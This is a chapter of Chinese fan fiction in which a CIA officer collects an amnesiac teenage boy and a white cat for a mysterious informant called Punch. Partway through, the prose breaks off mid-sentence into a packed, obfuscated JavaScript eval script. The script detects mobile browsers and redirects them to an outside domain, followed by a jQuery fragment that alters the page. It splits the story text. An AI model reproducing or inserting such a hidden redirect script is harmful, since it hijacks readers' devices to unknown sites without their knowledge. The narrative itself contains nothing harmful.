虽然告诉自己不能自乱阵脚,但马歇尔内心还是很忐忑的。毕竟自己家的卧底一条小命悬在人家手里,不忐忑都不行啊。 他叹了口气。 希望不要是什么刁难他们的要求…… 【帮我照顾一个人。地址附在下面。我要求你于下午八点之前带他离开日本,越远越好,给他新的身份,不要限制他的自由。】 【其他的都随便CIA。我事先提醒你们,这个人和组织无关,别让他知道任何关于组织的事情,包括我。】 【还有,他身边的猫也是我的——我亲爱的合作者,你们的小卧底一定已经告诉过你们了是不是?没错,就是那只白猫。放心,做过绝育也打过疫苗,很健康的一周岁小猫。】 【而作为回报——】 【你们的小卧底至少五年不会暴露身份。我的意思是,我不会*主动*让她暴露,但是她自己也要小心,你说是不是?】 【——你忠实的合作者及守密人。】 97.请用一枝鸢尾纪念我 马歇尔:…… 最后一句是威胁对吧?绝对是吧? 他又叹了口气。 他发现,自从他们的行动遇到潘趣了之后,他就经常叹气。 真让人头疼……他开始第N次的后悔接受CIA分部给他的烂摊子。 但是叹气归叹气,这笔交易——姑且叫它交易吧,虽然这场交易的主动权完完全全在潘趣手里——交易还是要完成的。 也就是说,八点钟之前要到这个地址把人接回来。 这人是谁潘趣没说,只是强调了一句:此人和组织无关。 是对潘趣很重要的人? 为什么要交给他们? 是因为自己在组织里,害怕这人会受到伤害? 马歇尔浮想联翩。 那他们可不可以……就是说……稍微的利用一下这个人? 带着满肚子的好奇和疑问,马歇尔带着CIA的人赶到了潘趣给的地址。 是一件外墙被粉刷成红色的居民楼。 他半信半疑地推开门,没忘记拉开自己手枪的保险。 门虚掩着。 室内没有开灯。 还好马歇尔在CIA工作多年,从来没有卡点完成任务的习惯,所以现在离八点还有一段时间,天还没黑。 从窗户外射进来的光线是白天太阳最后的余晖,将室内染上一片昏黄。客厅中央放着一座红沙发。少年就在那里,面对着窗户,光打在他身上,在他身后的沙发上投下厚重的阴影。 他躺在沙发上,眼睛闭着,好像陷入了安详的沉眠。 一只白猫也缩在沙发上。 它听见动静,抬起猫眼看了马歇尔他们一眼,恹恹地喵了一声,看起来有些萎靡不振。 “老大,”马歇尔身后的CIA员工忍不住说,“这就是潘趣要我们带走的人吗?” 看上去才十五六岁。 马歇尔点点头。 优秀的CIA员工已经环视了一圈屋子,试图在脑海里构建他们来之前的情形了。 地上和空气中的尘埃说明这里久未有人居住。潘趣也许只是选了一个没人的居民楼私闯了民宅。 少年是被带到这里的,也许那时候他就已经昏迷,被抱在怀里——因为地上只有成年男性和女性凌乱的脚印。 沙发右侧放着一个水杯。马歇尔打开看了看,里面没有水,就算以前有水也已经被喝光了。他将水杯递给身后的员工。也许会有指纹和唇纹残留,他想。 他们的动静不小,少年也依旧没有醒来的意思。他的表情实在太恬静,让任何人见了都不忍心打扰。马歇尔犹豫了一下,大手一挥,准备叫CIA们把他抱走,少年却在众人的手离他仅有一寸时睁开了双眼。 蔚蓝的眼睛盯着他们,带着一点茫然。 椰子叫了一声,跳到他怀里,少年下意识地抱住了它。 深吸一口气,马歇尔率先打破了沉默:“你好。” 不知道说什么的时候,一句礼貌的招呼也许更适合作为开场白。 少年愣了愣,然后笑了起来:“你好。” 良好的开端。看上去这少年一切都很正常,能正常跟人沟通,对于小动物——马歇尔瞥了一眼被他抱在怀里的猫——也具有同情心。 谨遵潘趣短信的指使,马歇尔没提潘趣,只是说:“你还好吗?我们要准备出发了。你有接到任何……指示之类的东西吗?” 少年:“嗯……” 他把猫抱得更紧了。 “……没有。” 他开始变得有点不安了。 马歇尔注意到他盯着自己的枪。 武器会让他害怕吗?嗯,这也是理所当然的。日本是个严格禁枪的国家,不过眼前少年似乎很清楚那小小金属物件的威力。 他重新将保险关上,收回腰间。 “怎么称呼?”他谨慎地问。 少年茫然了一瞬。 从他的表情中,马歇尔警觉地嗅到了一丝不妙的味道。 “我……”少年张了张嘴,好像想从脑袋深处将自己的名字拽出来,但他尝试了很多次,却依旧是徒劳。 他是谁?他叫什么?这是哪里? 没有哪一个问题是他能在记忆中找到答案的。 所以他只能抱着猫,站在那里,在记忆中不断地、徒劳的翻找。 他想不起来自己的名字了。 马歇尔和少年同时意识到这一点。 于是马歇尔抛出了新的试探: “你还记得今天发生了什么吗?在你睡着之前?” 少年依旧一脸茫然,旋即垂目: “我不记得了。抱歉。” 他好像因为无法为他们提供消息而感到有些愧疚。 那表情真情实感,不似作伪。 马歇尔默然。 失忆症是一种很复杂的症状。 人们并不会直接觉察自己失忆。多数时候,是当其他人询问的时候,才会猛然发觉,自己什么都想不起来。 记忆是人们深海远航中的锚。如果失去记忆,航行中的船就无法在风暴中安稳停泊,只能随波逐流。 少年的失忆属于哪种类型、成因又是什么,还得进行进一步的观察。 但马歇尔可以肯定,他的失忆一定和潘趣脱不了干系。 她为什么要这么做?是他知道什么秘密,为了将他泄密的风险扼杀在摇篮之中,所以干脆让他忘记所有事情吗? 但是既然如此,潘趣居然还愿意让CIA——官方势力——收留他。 他承认他们的名声比FBI好,但也没好到哪去,在不择手段上尤其如此。 就不怕他们从他身上知道点什么? “喵呜——”潘趣的猫好像感受到了他心中具有威胁性的想法,向他竖起了尾巴。少年急忙安抚猫咪,抚摸它的猫猫脑袋。 马歇尔叹了口气。 不管CIA本部那些官员们怎么想,他自己本人——以及他身后的分部员工们——都是有良知的成年人。 再怎么样,面对明显没成年、失去记忆的少年和一只攻击手段只有挥舞爪子的猫,他们都不可能对这一对组合做什么的。 “跟我走吧。想不起来的话,慢慢想也没关系。”马歇尔说。 “也许你的记忆里还能找到一些社会常识类信息,我是说,有关于各个国家和他们的官方机构,比如CIA?” “Central Intelligence Agency——这是它的全称。”马歇尔在介绍自己服务的组织时下意识挺直了腰背。 虽然他们的名声并不是很好,但马歇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13186839|122667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尔一直都将他的身份视作责任和荣耀。 “你可以信任我们。如果你感兴趣的话,我可以给你看看我的证件。”他说。 少年下意识摇摇头。 “不用……” “不用害怕。你很安全,孩子。”他身后的手下走过来拍了拍少年的肩。少年没躲闪。 他只是在听见“孩子”这个词的时候下意思开口反驳道:“我已经不是孩子了。” 这句孩子气的话换来CIA们善意的笑声。 少年从笑声中明悟到,他们将他的话当做是未成年人渴望受到平视和尊重时的冲动之言。 他垂头,心想,不对。 心底有个声音告诉他,他确实是个成年人,早已到了要承担起社会责任的年龄。 那声音从他被掩埋的记忆最深处传来,微弱地传到他耳中,但却有不容忽视的重量。 但是…… 他看着自己抱着猫的双手。 比他自己认为的要稚嫩很多。 茫然感又涌上心头。 恍惚间他好像又听见了什么声音——同样也从他记忆深处传来,那声音让他感觉非常亲切…… “向前走,迎接你的新生,■■■■。别回头……” ……而且还熟悉的令人想哭。 他的鼻尖泛酸。 这情绪来的莫名其妙,拨动了他的平静心弦,将他的心湖搅得满是波纹。 迎接你的新生,别回头。 那个声音说。 那你呢?他在心底反问。 他没有得到任何回答。 记忆被无情地上了锁,而他徘徊在门外,茫然着不知道如何解开那道锁。 滴答。 漂亮的蓝眼睛滴下了眼泪,滴在了猫猫柔顺的毛发上,被它本能地动动耳朵抖落。 “喵。”椰子的猫猫眼望过来。 直到这时少年才注意到,白猫的脖子上带着一个项圈。 项圈前方挂着一个椰子形状的吊坠。 “我没事。……椰子。这是你的名字,对吧?” 他温柔地对着猫猫开口。 但其实他想说的不是这个。 你也跟我一样难过,对吧?他在心里说道。 椰子喵了一声,用尾巴轻轻蹭了蹭少年的手臂。 是的。 和人类相比,猫猫的一生实在算不上长久。它和红发少女相遇的时间尚且不到一年,分离的日子就已经遥不可期了。 但是没关系。椰子将头缩回少年怀中。 她走之前曾经摸着它的头,告诉它: 只要跟在这个人身边,就能和她再次相遇。 那好吧,猫猫想,那就跟着吧。 至于多久才能再次相遇…… 猫猫才不在乎。 马歇尔看出少年的情绪有些起伏。成年人贴心的装作没有发现。 “来吧,你,还有……你的猫。” 他斜睨着椰子,心里嘀咕着,这小猫的项圈里不会有窃听器之类的东西吧?在他们上飞机之前,这些东西都要好好检查一遍才行。 “好的。”少年轻声应道。 往事不可追。 既然如此,那就像那个人说的那样—— 向前走吧。 坚定一点。